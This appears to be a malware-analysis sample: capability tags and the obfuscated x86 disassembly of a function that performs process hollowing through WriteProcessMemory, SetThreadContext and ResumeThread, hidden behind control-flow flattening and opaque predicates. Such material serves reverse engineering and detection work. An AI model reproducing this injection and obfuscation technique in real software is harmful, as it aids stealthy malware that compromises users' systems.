Function at 0x10009e70
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Hide graphical window
Parse pe header
Resume thread
Use process replacement

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x22c
mov eax, dword [0x10090080]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x234], 0x2d63bcdd
mov eax, dword [ebp - 0x234]
mov dword [ebp - 0x238], eax
sub eax, 0x80d9c63d
je 0x10014bb9
jmp 0x10009eac
mov eax, dword [ebp - 0x238]
sub eax, 0x80ffc09a
je 0x10017cd7
jmp 0x10009ec2
mov eax, dword [ebp - 0x238]
sub eax, 0x810f6e7c
je 0x10016369
jmp 0x10009ed8
mov eax, dword [ebp - 0x238]
sub eax, 0x818ad406
je 0x10011301
jmp 0x10009eee
mov eax, dword [ebp - 0x238]
sub eax, 0x821d9027
je 0x10011f0c
jmp 0x10009f04
mov eax, dword [ebp - 0x238]
sub eax, 0x82292130
je 0x100116f9
jmp 0x10009f1a
mov eax, dword [ebp - 0x238]
sub eax, 0x82f47e6c
je 0x10011eb2
jmp 0x10009f30
mov eax, dword [ebp - 0x238]
sub eax, 0x83134a14
je 0x10010283
jmp 0x10009f46
mov eax, dword [ebp - 0x238]
sub eax, 0x832b672b
je 0x1000eb5b
jmp 0x10009f5c
mov eax, dword [ebp - 0x238]
sub eax, 0x837fdf44
je 0x1000fcd7
jmp 0x10009f72
mov eax, dword [ebp - 0x238]
sub eax, 0x83c57c8a
je 0x100138c3
jmp 0x10009f88
mov eax, dword [ebp - 0x238]
sub eax, 0x84a2d0f3
je 0x10017884
jmp 0x10009f9e
mov eax, dword [ebp - 0x238]
sub eax, 0x84a4c16f
je 0x1000e69f
jmp 0x10009fb4
mov eax, dword [ebp - 0x238]
sub eax, 0x84cb69cd
je 0x1000fb30
jmp 0x10009fca
mov eax, dword [ebp - 0x238]
sub eax, 0x84e0ad42
je 0x10017ace
jmp 0x10009fe0
mov eax, dword [ebp - 0x238]
sub eax, 0x853f6c00
je 0x100101fe
jmp 0x10009ff6
mov eax, dword [ebp - 0x238]
sub eax, 0x859ae136
je 0x10015e74
jmp 0x1000a00c
mov eax, dword [ebp - 0x238]
sub eax, 0x859eb07f
je 0x1000eef0
jmp 0x1000a022
mov eax, dword [ebp - 0x238]
sub eax, 0x866dd0f7
je 0x100128ef
jmp 0x1000a038
mov eax, dword [ebp - 0x238]
sub eax, 0x869538e2
je 0x100177a6
jmp 0x1000a04e
mov eax, dword [ebp - 0x238]
sub eax, 0x86b39963
je 0x10010a59
jmp 0x1000a064
mov eax, dword [ebp - 0x238]
sub eax, 0x86ca33a0
je 0x1001126a
jmp 0x1000a07a
mov eax, dword [ebp - 0x238]
sub eax, 0x870c228d
je 0x10010ee8
jmp 0x1000a090
mov eax, dword [ebp - 0x238]
sub eax, 0x876103e7
je 0x100162eb
jmp 0x1000a0a6
mov eax, dword [ebp - 0x238]
sub eax, 0x876f8387
je 0x100145e6
jmp 0x1000a0bc
mov eax, dword [ebp - 0x238]
sub eax, 0x8784dae0
je 0x10016318
jmp 0x1000a0d2
mov eax, dword [ebp - 0x238]
sub eax, 0x87ac08d1
je 0x10017824
jmp 0x1000a0e8
mov eax, dword [ebp - 0x238]
sub eax, 0x87d7de68
je 0x10012535
jmp 0x1000a0fe
mov eax, dword [ebp - 0x238]
sub eax, 0x880b64c7
je 0x10011a3f
jmp 0x1000a114
mov eax, dword [ebp - 0x238]
sub eax, 0x88c93d6c
je 0x10017791
jmp 0x1000a12a
mov eax, dword [ebp - 0x238]
sub eax, 0x890d9757
je 0x10017bae
jmp 0x1000a140
mov eax, dword [ebp - 0x238]
sub eax, 0x891b279d
je 0x1001535d
jmp 0x1000a156
mov eax, dword [ebp - 0x238]
sub eax, 0x8a6b8a80
je 0x1001689c
jmp 0x1000a16c
mov eax, dword [ebp - 0x238]
sub eax, 0x8abc0542
je 0x10011da8
jmp 0x1000a182
mov eax, dword [ebp - 0x238]
sub eax, 0x8ae94f8f
je 0x10016ce6
jmp 0x1000a198
mov eax, dword [ebp - 0x238]
sub eax, 0x8b7a6f15
je 0x10017749
jmp 0x1000a1ae
mov eax, dword [ebp - 0x238]
sub eax, 0x8b9bf570
je 0x10011394
jmp 0x1000a1c4
mov eax, dword [ebp - 0x238]
sub eax, 0x8bbc01a5
je 0x1000fab3
jmp 0x1000a1da
mov eax, dword [ebp - 0x238]
sub eax, 0x8bc407ff
je 0x10014a96
jmp 0x1000a1f0
mov eax, dword [ebp - 0x238]
sub eax, 0x8c689921
je 0x10014a28
jmp 0x1000a206
mov eax, dword [ebp - 0x238]
sub eax, 0x8c902702
je 0x100177e8
jmp 0x1000a21c
mov eax, dword [ebp - 0x238]
sub eax, 0x8c999e95
je 0x1001177e
jmp 0x1000a232
mov eax, dword [ebp - 0x238]
sub eax, 0x8ce61959
je 0x10014396
jmp 0x1000a248
mov eax, dword [ebp - 0x238]
sub eax, 0x8d65b966
je 0x10014674
jmp 0x1000a25e
mov eax, dword [ebp - 0x238]
sub eax, 0x8e044846
je 0x1000e503
jmp 0x1000a274
mov eax, dword [ebp - 0x238]
sub eax, 0x8e3df3c5
je 0x10016fef
jmp 0x1000a28a
mov eax, dword [ebp - 0x238]
sub eax, 0x8e53e9a4
je 0x1001578c
jmp 0x1000a2a0
mov eax, dword [ebp - 0x238]
sub eax, 0x8e806308
je 0x1001412e
jmp 0x1000a2b6
mov eax, dword [ebp - 0x238]
sub eax, 0x8eaff4de
je 0x10013ea9
jmp 0x1000a2cc
mov eax, dword [ebp - 0x238]
sub eax, 0x8f504e5d
je 0x100178cd
jmp 0x1000a2e2
mov eax, dword [ebp - 0x238]
sub eax, 0x905f90a8
je 0x10017628
jmp 0x1000a2f8
mov eax, dword [ebp - 0x238]
sub eax, 0x9083c6e9
je 0x10017e05
jmp 0x1000a30e
mov eax, dword [ebp - 0x238]
sub eax, 0x915f2779
je 0x10015d10
jmp 0x1000a324
mov eax, dword [ebp - 0x238]
sub eax, 0x91bbdb59
je 0x100106c0
jmp 0x1000a33a
mov eax, dword [ebp - 0x238]
sub eax, 0x91f1d735
je 0x10017593
jmp 0x1000a350
mov eax, dword [ebp - 0x238]
sub eax, 0x91f7ff33
je 0x100129c6
jmp 0x1000a366
mov eax, dword [ebp - 0x238]
sub eax, 0x9242b87a
je 0x1001767a
jmp 0x1000a37c
mov eax, dword [ebp - 0x238]
sub eax, 0x9257a8bf
je 0x1000f81a
jmp 0x1000a392
mov eax, dword [ebp - 0x238]
sub eax, 0x9261ff96
je 0x100133dd
jmp 0x1000a3a8
mov eax, dword [ebp - 0x238]
sub eax, 0x92a97740
je 0x1000ed1c
jmp 0x1000a3be
mov eax, dword [ebp - 0x238]
sub eax, 0x9327c2d4
je 0x10010c80
jmp 0x1000a3d4
mov eax, dword [ebp - 0x238]
sub eax, 0x9456bbcd
je 0x10014d8d
jmp 0x1000a3ea
mov eax, dword [ebp - 0x238]
sub eax, 0x9467aaba
je 0x100174ae
jmp 0x1000a400
mov eax, dword [ebp - 0x238]
sub eax, 0x94cd649d
je 0x10015679
jmp 0x1000a416
mov eax, dword [ebp - 0x238]
sub eax, 0x956a0c60
je 0x10010089
mov eax, dword [0x10091564]
mov ecx, dword [0x10091560]
mov edx, eax
sub edx, 0xe4a8db32
sub edx, 1
add edx, 0xe4a8db32
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xa1639dd5
mov ecx, 0x6091a3b1
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x234], eax
jmp 0x100182cc
mov eax, dword [0x10091564]
mov ecx, dword [0x10091560]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x42c82cbf
mov ecx, 0xc3102141
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x234], eax
jmp 0x100182cc
mov eax, dword [ebp - 0x22c]
mov dword [eax], 0xefb8ed9
mov eax, dword [ebp - 0x22c]
mov eax, dword [eax]
mov dword [ebp - 0x158], eax
mov dword [ebp - 0x234], 0x2b155dfe
jmp 0x100182cc
mov dword [ebp - 0x234], 0x739a1301
jmp 0x100182cc
mov dword [ebp - 0x234], 0xba485f1d
jmp 0x100182cc
mov dword [ebp - 0x234], 0xebc688f5
jmp 0x100182cc
mov dword [ebp - 0x234], 0x49e50e71
jmp 0x100182cc
mov eax, dword [0x10091564]
mov ecx, dword [0x10091560]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xb3e19bb4
mov ecx, 0x11772810
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x234], eax
jmp 0x100182cc
mov eax, dword [ebp - 0x21c]
mov byte [eax], 1
mov dword [ebp - 0x234], 0x14f81700
jmp 0x100182cc
mov dword [ebp - 0x234], 0x63104dc0
jmp 0x100182cc
mov eax, dword [ebp - 0x218]
mov dword [eax], 0
mov eax, dword [0x10091564]
mov ecx, dword [0x10091560]
mov edx, eax
sub edx, 0x4f4bd0b1
sub edx, 1
add edx, 0x4f4bd0b1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xa395e491
mov ecx, 0xab792cc2
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x234], eax
jmp 0x100182cc
mov dword [ebp - 0x234], 0x198eddac
jmp 0x100182cc
mov eax, dword [ebp - 0x210]
cmp dword [eax], 0xefb8ef8
setle al
and al, 1
mov byte [ebp - 0x121], al
mov ecx, dword [0x10091564]
mov eax, dword [0x10091560]
mov edx, ecx
sub edx, 0x16aec489
sub edx, 1
add edx, 0x16aec489
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xfe0c8b0c
mov ecx, 0xf69ff90a
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x234], eax
jmp 0x100182cc
mov eax, dword [ebp - 0x210]
mov dword [eax], 1
mov ecx, dword [0x10091564]
mov eax, dword [0x10091560]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xdfcb11ac
mov ecx, 0x13c0394
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x234], eax
jmp 0x100182cc
mov eax, dword [ebp - 0x20c]
mov dword [eax], 0xefb8eec
mov dword [ebp - 0x234], 0xd99e23c3
jmp 0x100182cc
mov edx, dword [ebp - 0x118]
mov eax, 0x1bc93346
mov ecx, 0x7e7f9f2
cmp edx, 0xefb8f0a
cmovg eax, ecx
mov dword [ebp - 0x234], eax
jmp 0x100182cc
mov eax, dword [ebp - 0x208]
mov eax, dword [eax]
mov dword [ebp - 0x114], eax
mov ecx, dword [0x10091564]
mov eax, dword [0x10091560]
mov edx, ecx
sub edx, 0xe7018bc9
sub edx, 1
add edx, 0xe7018bc9
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x74c19fb4
mov ecx, 0x7e995ee4
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x234], eax
jmp 0x100182cc
mov eax, dword [0x10091564]
mov ecx, dword [0x10091560]
mov edx, eax
sub edx, 0x731640a9
sub edx, 1
add edx, 0x731640a9
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x57bd6ff3
mov ecx, 0xadc38f2f
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x234], eax
jmp 0x100182cc
mov ecx, dword [0x10091564]
mov eax, dword [0x10091560]
mov edx, ecx
sub edx, 0x21ea1f17
sub edx, 1
add edx, 0x21ea1f17
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x200ad76e
mov ecx, 0xb711d00a
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x234], eax
jmp 0x100182cc
mov eax, dword [0x10091564]
mov ecx, dword [0x10091560]
mov edx, eax
add edx, 0xf46438a4
sub edx, 1
sub edx, 0xf46438a4
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xae4cd111
mov ecx, 0x3dcfdca4
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x234], eax
jmp 0x100182cc
mov dword [ebp - 0x234], 0xfdb91fd
jmp 0x100182cc
mov ecx, dword [0x10091564]
mov eax, dword [0x10091560]
mov edx, ecx
add edx, 0x72d0c77e
sub edx, 1
sub edx, 0x72d0c77e
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xf8d9e67d
mov ecx, 0xe709d64
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x234], eax
jmp 0x100182cc
mov eax, dword [ebp - 0x1fc]
mov dword [eax], 0xefb8efc
mov dword [ebp - 0x234], 0x78feb8a0
jmp 0x100182cc
mov ecx, dword [0x10091564]
mov eax, dword [0x10091560]
mov edx, ecx
sub edx, 0x5902907e
sub edx, 1
add edx, 0x5902907e
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xd7193f15
mov ecx, 0x9802540c
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x234], eax
jmp 0x100182cc
mov eax, dword [ebp - 0xf8]
cmp eax, 0xefb8ed8
setle al
and al, 1
mov byte [ebp - 0xf1], al
mov ecx, dword [0x10091564]
mov eax, dword [0x10091560]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xb55bc3e5
mov ecx, 0x78370141
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x234], eax
jmp 0x100182cc
mov eax, dword [ebp - 0x1f0]
mov dword [eax], 0xefb8f17
mov dword [ebp - 0x234], 0xc77a4091
jmp 0x100182cc
mov eax, dword [ebp - 0x1f0]
cmp dword [eax], 0xefb8ede
setle al
and al, 1
mov byte [ebp - 0xe1], al
mov eax, dword [0x10091564]
mov ecx, dword [0x10091560]
mov edx, eax
add edx, 0xae26bb07
sub edx, 1
sub edx, 0xae26bb07
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xde9f0081
mov ecx, 0x6a626dd7
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x234], eax
jmp 0x100182cc
mov eax, dword [ebp - 0x1e4]
mov byte [eax], 0
mov eax, dword [0x10091564]
mov ecx, dword [0x10091560]
mov edx, eax
sub edx, 0x7661d48
sub edx, 1
add edx, 0x7661d48
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x2d6c7f7f
mov ecx, 0x5b1059be
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x234], eax
jmp 0x100182cc
mov eax, dword [0x10091564]
mov ecx, dword [0x10091560]
mov edx, eax
sub edx, 0xf417c23b
sub edx, 1
add edx, 0xf417c23b
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xa27a3a18
mov ecx, 0x9ae16e74
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x234], eax
jmp 0x100182cc
mov dword [ebp - 0x234], 0xb7a9f635
jmp 0x100182cc
mov dword [ebp - 0x234], 0x75c57e9c
jmp 0x100182cc
mov eax, dword [0x10091564]
mov ecx, dword [0x10091560]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xdcbfa03
mov ecx, 0xcd851211
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x234], eax
jmp 0x100182cc
mov eax, dword [ebp - 0x1cc]
cmp dword [eax], 0xefb8eca
setle al
and al, 1
mov byte [ebp - 0xb1], al
mov dword [ebp - 0x234], 0x2946dc3c
jmp 0x100182cc
mov eax, dword [ebp - 0x1cc]
mov dword [eax], 1
mov dword [ebp - 0x234], 0x3eeb6989
jmp 0x100182cc
mov ecx, dword [0x10091564]
mov eax, dword [0x10091560]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x9083c6e9
mov ecx, 0x8bc407ff
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x234], eax
jmp 0x100182cc
mov eax, dword [ebp - 0x1c4]
mov byte [eax], 1
mov ecx, dword [0x10091564]
mov eax, dword [0x10091560]
mov edx, ecx
add edx, 0x50972bcd
sub edx, 1
sub edx, 0x50972bcd
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x9083c6e9
mov ecx, 0x244f722c
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x234], eax
jmp 0x100182cc
mov ecx, dword [0x10091564]
mov eax, dword [0x10091560]
mov edx, ecx
sub edx, 0x6b372151
sub edx, 1
add edx, 0x6b372151
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xed86c49a
mov ecx, 0x498d5f16
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x234], eax
jmp 0x100182cc
mov eax, dword [ebp - 0x1c0]
mov byte [eax], 0
mov eax, dword [ebp - 0x1c0]
mov al, byte [eax]
and al, 1
mov byte [ebp - 0xa8], al
mov dword [ebp - 0x234], 0xd605b8c3
jmp 0x100182cc
mov ecx, dword [0x10091564]
mov eax, dword [0x10091560]
mov edx, ecx
sub edx, 0xaf46fc7c
sub edx, 1
add edx, 0xaf46fc7c
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xf1136cda
mov ecx, 0x3488aeac
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x234], eax
jmp 0x100182cc
mov ecx, dword [0x10091564]
mov eax, dword [0x10091560]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x98e0c26a
mov ecx, 0x3d11fa19
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x234], eax
jmp 0x100182cc
mov ecx, dword [0x10091564]
mov eax, dword [0x10091560]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x6f3f64a9
mov ecx, 0x1f8f7d22
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x234], eax
jmp 0x100182cc
mov dword [ebp - 0x234], 0x60c9d104
jmp 0x100182cc
mov eax, dword [0x10091564]
mov ecx, dword [0x10091560]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x5028d649
mov ecx, 0x681c9a52
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x234], eax
jmp 0x100182cc
mov eax, dword [ebp - 0x178]
mov eax, dword [eax]
mov dword [ebp - 0x84], eax
mov eax, dword [ebp - 0x1ac]
mov eax, dword [eax]
mov ax, word [eax + 6]
mov word [ebp - 0x80], ax
mov dword [ebp - 0x234], 0x8784dae0
jmp 0x100182cc
mov eax, dword [0x10091564]
mov ecx, dword [0x10091560]
mov edx, eax
add edx, 0x6f84f82e
sub edx, 1
sub edx, 0x6f84f82e
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x2afdb161
mov ecx, 0x810f6e7c
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x234], eax
jmp 0x100182cc
mov ax, word [ebp - 0x80]
movzx ecx, ax
mov eax, dword [ebp - 0x84]
cmp eax, ecx
setl al
and al, 1
mov byte [ebp - 0x7d], al
mov eax, dword [0x10091564]
mov ecx, dword [0x10091560]
mov edx, eax
add edx, 0x17fc0c6f
sub edx, 1
sub edx, 0x17fc0c6f
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x2afdb161
mov ecx, 0x7d18b083
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x234], eax
jmp 0x100182cc
mov eax, dword [ebp - 0x178]
mov eax, dword [eax]
mov dword [ebp - 0x54], eax
mov ecx, dword [0x10091564]
mov eax, dword [0x10091560]
mov edx, ecx
sub edx, 0x356b521a
sub edx, 1
add edx, 0x356b521a
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x6979eb44
mov ecx, 0xf18b3cd8
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x234], eax
jmp 0x100182cc
mov dword [ebp - 0x234], 0xeef38aa2
jmp 0x100182cc
mov eax, dword [0x10091564]
mov ecx, dword [0x10091560]
mov edx, eax
add edx, 0xc4d6c716
sub edx, 1
sub edx, 0xc4d6c716
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xd6897340
mov ecx, 0xe6eb81d3
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x234], eax
jmp 0x100182cc
mov eax, dword [ebp - 0x1a4]
mov edx, dword [eax]
mov eax, dword [ebp - 0x190]
mov ecx, dword [ebp - 0x14]
xor esi, esi
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 4
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov eax, dword [ebp - 0x190]
mov ecx, dword [eax]
mov eax, dword [ebp - 0x1ac]
mov eax, dword [eax]
mov edx, dword [eax + 0x28]
xor eax, eax
sub eax, edx
sub ecx, eax
mov eax, dword [ebp - 0x1a8]
mov eax, dword [eax]
mov dword [eax + 0xb0], ecx
mov eax, dword [ebp - 0x1a4]
mov eax, dword [eax + 4]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_ResumeThread]
mov eax, dword [ebp - 0x1a8]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x1a4]
mov ecx, dword [ecx + 4]
sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], eax
call dword [sym.imp.KERNEL32.dll_SetThreadContext]
mov eax, dword [0x10091564]
mov ecx, dword [0x10091560]
mov edx, eax
sub edx, 0x1e78c75a
sub edx, 1
add edx, 0x1e78c75a
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xfeb49fb4
mov ecx, 0x91f1d735
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x234], eax
jmp 0x100182cc
mov dword [ebp - 0x234], 0x5f8ea63
jmp 0x100182cc
mov dword [ebp - 0x234], 0x2bbccd68
jmp 0x100182cc
mov dword [ebp - 0x234], 0x68f0e2b1
jmp 0x100182cc
mov eax, dword [ebp - 0x224]
mov byte [eax], 0
mov dword [ebp - 0x234], 0xa1e8a7b2
jmp 0x100182cc
mov eax, dword [ebp - 0x220]
mov dword [ebp - 0x234], 0xbd460cc4
jmp 0x100182cc
mov eax, dword [ebp - 0x220]
mov dword [eax], 0
mov dword [ebp - 0x234], 0x44c23dc4
jmp 0x100182cc
mov eax, dword [ebp - 0x21c]
mov byte [eax], 1
mov dword [ebp - 0x234], 0x4810a903
jmp 0x100182cc
mov eax, dword [ebp - 0x138]
mov dword [ebp - 0x234], 0x956a0c60
jmp 0x100182cc
mov eax, dword [ebp - 0x214]
mov dword [eax], 0xefb8f17
mov dword [ebp - 0x234], 0xaa5f833c
jmp 0x100182cc
mov eax, dword [ebp - 0x214]
mov dword [eax], 0
mov dword [ebp - 0x234], 0xeb564329
jmp 0x100182cc
mov eax, dword [ebp - 0x200]
mov dword [eax], 0
mov dword [ebp - 0x234], 0x32a30bd9
jmp 0x100182cc
mov eax, dword [ebp - 0x1f4]
mov dword [eax], 0xefb8ee6
mov dword [ebp - 0x234], 0xe1ccba99
jmp 0x100182cc
mov eax, dword [ebp - 0x1e0]
mov dword [eax], 0xefb8ebc
mov dword [ebp - 0x234], 0x24875dd4
jmp 0x100182cc
mov eax, dword [ebp - 0x1c4]
mov byte [eax], 1
mov dword [ebp - 0x234], 0x8bc407ff
jmp 0x100182cc
jmp 0x10009e90